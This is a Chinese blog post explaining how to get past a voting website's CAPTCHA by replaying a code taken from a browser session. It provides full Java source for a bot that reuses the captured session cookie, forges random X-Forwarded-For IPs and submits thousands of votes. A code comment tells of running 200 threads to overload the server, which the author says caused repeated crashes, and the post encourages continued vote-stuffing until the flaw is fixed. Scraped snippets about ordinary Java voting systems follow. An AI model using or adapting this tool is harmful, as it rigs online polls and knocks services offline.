好多刷票的,服务器宕机好几次,后来投票程序升级了,增加了图片验证码功能,验证码中有4个英文数字组合,再后来升级为中文验证码。上次的js投票器,写的有点随意了,这次改java版的。
先来分析下验证码是如何工作的
第一步,request到服务器端,server生成验证码,置入session
第二部,跳转到客户端(一般是浏览器),此时生成图片,图片中的内容就是session 中的验证码
第三步,用户将 数据 + 肉眼看到的图片上的验证码 post/get到服务器
第四步,服务器端,验证post/get来的验证码,和session 中的验证码是否相同,相同则继续执行业务然后跳转到投票页即第一步生成新的验证码;不同则跳转到客户端,告诉客户端:你搞错了,然后跳转到第一步生成新的验证码
如果客户端是浏览器,验证码是正常工作的。但是,俺们是用程序搞request,执行完第四步之后,不会跳转到第一步,验证码就不正常工作了。如果程序写的严谨,比如:”第四步中校验验证码过后,生成新的验证码置入session中“,而不是通过让客户端重新发起第一步的request的方式生成新的验证码,则验证码还是可以正常工作的。
只需要在浏览器中,走到第二步,获取到验证码,然后用程序提交数据和验证码,依然可以
上干货,fuck goods
import java.io.IOException; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.util.Random; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.HttpException; import org.apache.commons.httpclient.NameValuePair; import org.apache.commons.httpclient.methods.PostMethod; public class TP extends Thread { // 验证码 protected static String AUTHNUM_SESSION = "向变关点育"; // 从浏览器中获取到的session信息,服务器端会认为本java程序提交的数据,和刚才浏览器是同一个会话session protected static String SESSION_ID = "PHPSESSID=uouddcugmv4jnpep1sv3vlkr64"; // 投票间隔 protected static long INTERVAL_TIME = 100; // 投票ID protected static String ID = "77"; // 投票总数 protected static int TP_MAX = 10000; // 投票地址 protected static String VOTE = "http://www.xxx.com/xly/tp/tp_ok.php?id=" + ID; protected static int COUTER = 0; /** * @param args * @throws IOException * @throws HttpException * @throws InterruptedException */ public static void main(String[] args) throws HttpException, IOException, InterruptedException { TP tp = new TP(); tp.start(); /** * 用程序刷票刷了一会,发现服务器端凡是针对ID是77的投票,全都不计数,连正常投票都不计数了,郁闷啊 * 不带这么玩的,别人都在刷票,唯独俺不能刷,没办法,开200线程,换个ID给别人投,让服务器busy,这样都不能刷票了 * 这才公平,结果服务器不间断的宕机、宕机 * */ // for(int i =0; i < 200;i++){ // TP tp = new TP(); // tp.start(); // } } public void run() { int counter = 0; for (;;) { if (TP_MAX > 0 && counter >= TP_MAX) { System.out.println("投票完成,共投票:" + counter); break; } try { vote(); Thread.sleep(INTERVAL_TIME); } catch (InterruptedException e) { e.printStackTrace(); } catch (HttpException e) { e.printStackTrace(); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } counter++; } } protected static void vote() throws IOException, HttpException, UnsupportedEncodingException { HttpClient client = new HttpClient(); PostMethod post = new PostMethod(VOTE); /** * requestHeader中的属性,都是从浏览器种扒下来的 */ post .addRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); post.addRequestHeader("Accept-Charset", "GBK,utf-8;q=0.7,*;q=0.3"); post.addRequestHeader("Accept-Encoding", "GBK,utf-8;q=0.7,*;q=0.3"); post.addRequestHeader("Accept-Language", "zh-CN,zh;q=0.8"); post.addRequestHeader("Cache-Control", "max-age=0"); post.addRequestHeader("Connection", "keep-alive"); post.addRequestHeader("Host", "szdydly.ichzh.com"); post.addRequestHeader("Cookie", SESSION_ID); String fakeIp = rndIp(); // 伪造ip所需要的属性 post.addRequestHeader("X-Forwarded-For", fakeIp); post.addRequestHeader("Referer", "http://www.xxx.com/xly/tp/index.php"); post .addRequestHeader( "User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7"); NameValuePair[] nvp = new NameValuePair[3]; // 验证码的utf-8编码 String code = URLEncoder.encode(AUTHNUM_SESSION, "utf-8"); nvp[0] = new NameValuePair("code", code); nvp[1] = new NameValuePair("imgbtn.x", "33"); nvp[2] = new NameValuePair("imgbtn.y", "16"); post.setRequestBody(nvp); // 使用POST方式提交数据 int statusCode = client.executeMethod(post); System.out.println("statusCode : " + statusCode); if (statusCode == 200) { if (post.getResponseBody() != null) { String response1String = new String(post.getResponseBody(), "utf-8"); System.out.println(response1String); System.out.println("已投票:" + COUTER++); } } } /** * 伪造IP * * @return */ private static String rndIp() { return rndInt(255) + "." + rndInt(255) + "." + rndInt(255) + "." + rndInt(255); } private static int rndInt(int max) { Random rnd = new Random(47); return rnd.nextInt(max); } }
服务器上验证码漏洞一天没补上,就可以继续刷票,走起。程序中用到commons-httpclient包
相关推荐
这里的"投票代码、投票器、投票java"标题和描述暗示了我们关注的是一个使用Java语言开发的投票系统的前端和后端源代码。下面将详细探讨投票系统的构成、关键技术和涉及的Java编程知识。 1. 投票系统概述: 投票系统...
方便简洁投票器
在本投票系统中,Struts2扮演着核心控制器的角色,管理请求和响应,使得业务逻辑与展示层分离,提高了代码的可维护性和可扩展性。 其次,Hibernate是一个对象关系映射(ORM)工具,它简化了Java应用与数据库之间的...
7. 添加、投票和统计投票现在,我们需要在控制器类 `VoteController` 中创建处理 HTTP 请求的方法,将前端模板与后端服务关联起来,实现添加投票、显示投票列表、投票详情、投票功能。 例如: ```java @Controller...
这个系统基于Struts框架进行开发,该框架是Java社区中广泛使用的MVC(模型-视图-控制器)架构模式的一个实现,有助于提高代码的组织结构和可维护性。JFreeChart库则用于生成数据图表,它在Java世界中是处理统计图表...
Java投票系统是一个基于Java编程语言实现的用于模拟选举或民意调查的应用程序。在这个系统中,开发者通常会使用Java的核心概念和技术来设计和实现用户界面、数据处理和存储等功能。以下是一些关键的知识点: 1. **...
在本项目中,我们关注的是一个基于Java Web的简单投票系统。这个系统旨在提供一个基本的平台,允许用户参与各种主题的投票,并直观地展示投票结果。以下是对这个"java小型投票系统"的关键知识点的详细解释: 1. **...
根据给定的信息,我们可以分析并总结出一个Java网上投票系统的实现方法及关键技术点。 ### Java网上投票系统概览 此Java网上投票系统主要是基于Swing框架实现的一个简单的图形用户界面(GUI)应用。该系统允许用户...
【Java投票系统大作业】是一个基于Java编程语言开发的项目,旨在提供一个完整的投票功能平台。这个系统包含了从用户登录到投票过程,再到结果展示的完整流程,是学习和实践Java编程以及软件工程理念的理想实践案例。...
【Java语言制作的投票管理系统】 本投票管理系统是一个基于Java编程语言开发的应用程序,它主要用于组织、管理和统计各种类型的投票活动。Java的选择是因为其跨平台的特性,使得该系统能够在多种操作系统上运行,如...
【Java课程设计-投票管理系统】是一个基于Applet的软件项目,旨在实现一个简易而实用的投票管理平台。这个系统的核心功能包括设置候选人、投票、统计结果、结果排序、背景音乐播放、使用说明以及保存投票结果。 1. ...
【Java EE投票系统】是一个基于Java企业版(Java EE)技术栈开发的示例应用,主要目的是为了帮助初学者理解并掌握Web应用的开发流程。该系统的核心技术包括:JSP(JavaServer Pages)、JavaBean以及Struts2框架。...
- 类和对象:投票程序中的关键实体,如选民、投票选项和计票器,可以被建模为类,而每个实例则代表具体的对象。 - 异常处理:用于处理可能出现的错误,比如无效的投票或超出投票范围的选择。 - 集合框架:如...
【Java投票系统课程设计详解】 在Java编程领域,构建一个投票系统是一项常见的课程设计任务,旨在让学生掌握Web应用开发的基本技能。本项目的核心是利用Java技术栈实现一个功能完备、用户体验良好的在线投票平台。...
【Java投票管理系统源码】是一个基于JavaWeb技术开发的投票管理平台的源代码实现。这个系统主要用于实现在线创建、管理以及统计投票活动的功能,适用于各类组织和个人进行意见征集或者活动评选。通过分析提供的文件...
【Java投票系统详解】 在IT领域,开发一个投票系统是一个常见的任务,特别是在Web应用程序中。本项目名为“java写的投票系统”,它是一个基于Java技术构建的在线投票平台。这个系统可能包含了用户管理、投票创建、...
本系统运用到了窗口布局、按钮事件的触发和字符串分析器等相关知识,界面简洁、清爽,操作简单,用户可以自定义候选人 ,允许用户修改候选人,支持多次投票,能够自动统计出一共投的票数、废票数、弃权票数和各个...
- src目录:存放Java源代码,如控制器类、服务类、DAO层实现等。 - resources目录:放置配置文件,如数据库连接配置、应用配置等。 - WEB-INF目录:存放web.xml(Web应用配置文件)、JSP页面等。 - lib目录...
【Java投票系统】是一个基于Java Web技术开发的SSH框架实现的在线投票应用。SSH框架是Struts、Spring和Hibernate三个开源框架的组合,它们在Java Web开发中扮演着重要角色,构建高效、可维护的Web应用程序。 Struts...
总结来说,设计一个Java投票系统,我们需要利用Java的面向对象特性,结合Spring框架、数据库访问技术以及前端开发工具,来构建完整的系统架构。同时,注意系统的安全性、稳定性和扩展性,以满足实际需求。通过不断的...